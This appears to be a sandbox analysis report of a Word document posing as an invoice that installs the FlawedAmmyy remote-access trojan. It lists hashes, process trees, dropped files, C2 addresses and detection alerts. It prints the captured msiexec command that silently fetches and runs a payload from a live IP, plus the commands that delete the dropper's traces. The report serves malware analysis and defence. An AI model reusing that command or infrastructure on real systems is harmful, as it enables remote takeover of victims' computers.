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| File name: | 송장_00190821.doc |
| Full analysis: | https://app.any.run/tasks/7b857c36-9f67-44a2-807a-b457886cd601 |
| Verdict: | Malicious activity |
| Threats: | FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics. |
| Analysis date: | February 19, 2019, 02:20:15 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:07:00 2019, Last Saved Time/Date: Mon Feb 18 20:07:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0 |
| MD5: | 93E5AF41B2994E60FE1655994DCC1FC3 |
| SHA1: | 0DF9F97D57786EBDC54C95218DE8BB762E32ABBA |
| SHA256: | 32318477E1C624E585C61546FAE2059D2FF8F3732A988E890665C2D81B3651CC |
| SSDEEP: | 768:5pMLELemEgZnQgW5tmhdMgNMVkefr0VTEJ6eSX:5LLemXZQgW5IYgNlPoJ6vX |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2712)
Uses Microsoft Installer as loader
- WINWORD.EXE (PID: 2712)
Downloads executable files from the Internet
- msiexec.exe (PID: 3768)
Downloads executable files from IP
- msiexec.exe (PID: 3768)
Loads the Task Scheduler COM API
- MSI96BB.tmp (PID: 3836)
Application was dropped or rewritten from another process
- wsus.exe (PID: 2360)
- wsus.exe (PID: 3516)
Changes the autorun value in the registry
- MSI96BB.tmp (PID: 3836)
Loads the Task Scheduler DLL interface
- MSI96BB.tmp (PID: 3836)
FLAWEDAMMYY was detected
- wsus.exe (PID: 3516)
Connects to CnC server
- wsus.exe (PID: 3516)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 3768)
- MSI96BB.tmp (PID: 3836)
Drop ExeToMSI Application
- msiexec.exe (PID: 3768)
Creates files in the program directory
- MSI96BB.tmp (PID: 3836)
Starts CMD.EXE for commands execution
- MSI96BB.tmp (PID: 3836)
Creates files in the Windows directory
- MSI96BB.tmp (PID: 3836)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2712)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2712)
Starts application with an unusual extension
- msiexec.exe (PID: 3768)
Application was dropped or rewritten from another process
- MSI96BB.tmp (PID: 3836)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3768)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | 1 |
|---|---|
| Subject: | - |
| Author: | 1 |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | 1 |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:02:18 20:07:00 |
| ModifyDate: | 2019:02:18 20:07:00 |
| Pages: | 1 |
| Words: | 23 |
| Characters: | 137 |
| Security: | None |
| CodePage: | Windows Cyrillic |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 159 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | 1 |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | ???????? Microsoft Word 97-2003 |
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2712 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\송장_00190821.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2436 | "C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://185.17.120.235/select /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1 | C:\Windows\System32\msiexec.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3768 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3836 | "C:\Windows\Installer\MSI96BB.tmp" | C:\Windows\Installer\MSI96BB.tmp | msiexec.exe | |
User: admin Company: IBM Controler' System Security Control Integrity Level: MEDIUM Description: IBM Controler' System Security Control Exit code: 0 Version: 2.8.17228.1 | ||||
| 3516 | "C:\ProgramData\Microsofts Help\wsus.exe" | C:\ProgramData\Microsofts Help\wsus.exe | MSI96BB.tmp | |
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Version: 1.18.2.51920 | ||||
| 2676 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI96BB.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSI96BB.tmp |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2360 | "C:\ProgramData\Microsofts Help\wsus.exe" | C:\ProgramData\Microsofts Help\wsus.exe | — | taskeng.exe |
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Exit code: 0 Version: 1.18.2.51920 | ||||
| 2692 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI96BB.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSI96BB.tmp |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
Total events
1 265
Read events
824
Write events
0
Delete events
0
Modification events
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR82A3.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF6337D2DED9C7BE04.TMP | — | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF08267DE9896546D2.TMP | — | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF23C0B6E0B18380D8.TMP | — | |
MD5:— | SHA256:— | |||
| 3768 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFE5E025B1D1946ED4.TMP | — | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:4D69D9BCBFC324E700A5A4D9E4D60348 | SHA256:B0222DC047C29341F9E3DBAF99CE9E18787FBE50A3485DADF3E273D21B6B2E9C | |||
| 3768 | msiexec.exe | C:\Config.Msi\199487.rbs | — | |
MD5:— | SHA256:— | |||
| 3768 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFE14CC8026D94DCD1.TMP | — | |
MD5:— | SHA256:— | |||
| 3768 | msiexec.exe | C:\Windows\Installer\MSI910B.tmp | executable | |
MD5:C19F4137DA7C2D9E5A6A26EFE3FC0F9A | SHA256:10987FB8AB8275F9DE9B8F4F1434CAC08D03B659BF69F81FDB5659F7A0253079 | |||
| 3836 | MSI96BB.tmp | C:\ProgramData\Microsofts Help\wsus.exe | executable | |
MD5:30B4E109CAAEBAB50007872085E8D208 | SHA256:7ECFD68341FE276C17246DC51C5D70EE2C1BBC6801C85201C8A62956C23D872D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3836 | MSI96BB.tmp | GET | 200 | 185.17.120.235:80 | http://185.17.120.235/dat1.omg | RU | binary | 657 Kb | suspicious |
3768 | msiexec.exe | GET | 200 | 185.17.120.235:80 | http://185.17.120.235/select | RU | executable | 168 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3836 | MSI96BB.tmp | 185.17.120.235:80 | — | Leaseweb Deutschland GmbH | RU | suspicious |
3516 | wsus.exe | 185.99.133.2:80 | — | Zappie Host LLC | NZ | malicious |
3768 | msiexec.exe | 185.17.120.235:80 | — | Leaseweb Deutschland GmbH | RU | suspicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
3768 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
3768 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
3516 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT |
3516 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] AMMYY RAT |
3516 | wsus.exe | A Network Trojan was detected | ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin |
3516 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
MSI96BB.tmp | C:\ProgramData\Microsofts Help\template_8ce330.DATAHASH |
MSI96BB.tmp | --End Dowload-- |